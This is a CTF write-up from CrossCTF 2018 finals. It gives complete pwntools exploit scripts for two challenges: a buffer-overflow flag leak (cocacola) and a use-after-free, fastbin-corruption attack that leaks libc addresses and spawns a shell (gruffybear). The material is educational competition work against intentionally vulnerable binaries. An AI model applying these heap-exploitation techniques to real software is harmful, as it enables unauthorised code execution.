CrossCTF 2018 Final PWN Write-up Collection

Introduction

This post will include the two write-ups on Linux pwn challenges:cocacola, gruffybear.

Cocacola

The binary will load the flag into memory at 0x700b1000, I have to use the error message output to read the flag.

from pwn import *
import time

DEBUG = int(sys.argv[1]);


image = ELF("./cocacola");


if(DEBUG == 0):
    r =remote("ctf.pwn.sg", 4001);
elif(DEBUG == 1):
    r = process("./cocacola");
elif(DEBUG == 2):
    r = process("./cocacola");
    gdb.attach(r, '''source script.py''');

def halt():
    while(True):
        log.info(r.recvline());

def exploit():
    r.recvuntil("(y/n)");
    #r.sendline("D\xc5");

    r.send("D\xc5");
    sleep(2);
    r.send("A"*(0xff-8) +  "a"+ p64(0x700b1000) + p64(0)*0)

    r.recvuntil("Error");

    #r.sendline("ABCD");
    #r.clean();
    #r.sendline("\x00");
    halt();


exploit();

GruffyBear

There is an obvious use-after-free vulnerability in the code. Massage heap memory properly. At first I want to trigger magic gadget via the crafted self-destruction pointer, but I cannot set stack layout properly. So I change to use house-of-spirit to deploy fastbin corruption attack in the end and get the shell.

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("ctf.pwn.sg", 4002);
elif(DEBUG == 1):
    env = {"LD_PRELOAD":"./libc-2.23.so"};
    r = process("./gruffy", env=env);
elif(DEBUG == 2):
    env = {"LD_PRELOAD":"./libc-2.23.so"};
    r = process("./gruffy", env=env);
    gdb.attach(r, '''source script.py''');

libc = ELF("./libc-2.23.so");

def build(name, idnum, age, desc):
    r.recvuntil("0. Exit");
    r.sendline("1");
    r.recvuntil(":");
    r.send(name.ljust(0x1f, "\x00"));
    r.recvuntil(":");
    r.sendline(str(idnum));
    r.recvuntil(":");
    r.sendline(str(age));
    r.recvuntil(":");
    r.send(desc.ljust(0x80, "\x00"));

def select(num):
    r.recvuntil("0. Exit");
    r.sendline("2");
    r.recvuntil(":");
    r.sendline(str(num));

def delete():
    r.recvuntil("0. Exit");
    r.sendline("3");

def info():
    r.recvuntil("0. Exit");
    r.sendline("4");

def addComment(size, content):
    r.recvuntil("0. Exit");
    r.sendline("5");
    r.recvuntil(":");
    r.sendline(str(size));
    r.recvuntil(":");
    r.send(content.ljust(size, "\x00"));

def selfDestruct():
    r.recvuntil("0. Exit");
    r.sendline("7");

def exploit():
    build("AAAA", 10, 20, "aaaa" ); #0
    build("BBBB", 10, 20, "bbbb" ); #1
    build("CCCC", 10, 20, "cccc" ); #2
    build("DDDD", 10, 20, "dddd" ); #3
    build("EEEE", 10, 20, "eeee" ); #4
    build("FFFF", 10, 20, "ffff" ); #5
    build("GGGG", 10, 20, "gggg" ); #6
    build("HHHH", 10, 20, "hhhh" ); #7
    build("IIII", 10, 20, "iiii" ); #8
    build("JJJJ", 10, 20, "jjjj" ); #9
    select(1);
    delete();
    select(3);
    delete();
    info();
    r.recvuntil("You have selected: [");
    leaked = r.recv(6);
    leakValue = u64(leaked + "\x00\x00");
    heapAddr = leakValue - 0xc0;
    log.info("leakValue: 0x%x" % leakValue);
    log.info("heap base: 0x%x" % heapAddr);
    select(1);
    info();
    r.recvuntil("You have selected: [");
    leaked = r.recv(6);
    leakValue = u64(leaked + "\x00\x00");
    log.info("leakValue: 0x%x" % leakValue);
    libcBase = leakValue - 0x3c4b78;
    log.info("libc base addr: 0x%x" % libcBase);
    freeAddr = libcBase + libc.symbols['free'];
    addComment(0xa8, "T"*0x98 + p64(freeAddr) + p64(0x414141414141));
    select(4);
    delete();
    select(5);
    delete();
    select(6);
    delete();
    select(7);
    delete();
    payload = "A"*0xb8 + p64(0x71) + "B"*0x68 + p64(0x21) + "C"*0x38 + p64(freeAddr);
    payload = payload + "D"*8 + p64(0x71) + "E"*0x68 + p64(0x21) + "F"*0x38 + p64(freeAddr);
    addComment(0x250, payload);

    select(4);
    delete();
    select(5);
    delete();
    select(4);
    delete();

    addComment(0x60, p64(libcBase + 0x3c4afd));
    addComment(0x60, p64(0x4242424242));
    addComment(0x60, p64(0x4343434343));
    addComment(0x60, "A"*0x3 + p64(libcBase + 0xf1147));

    r.recvuntil("0. Exit");
    r.sendline("5");
    r.recvuntil(":");
    r.sendline(str(0x4563546));
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.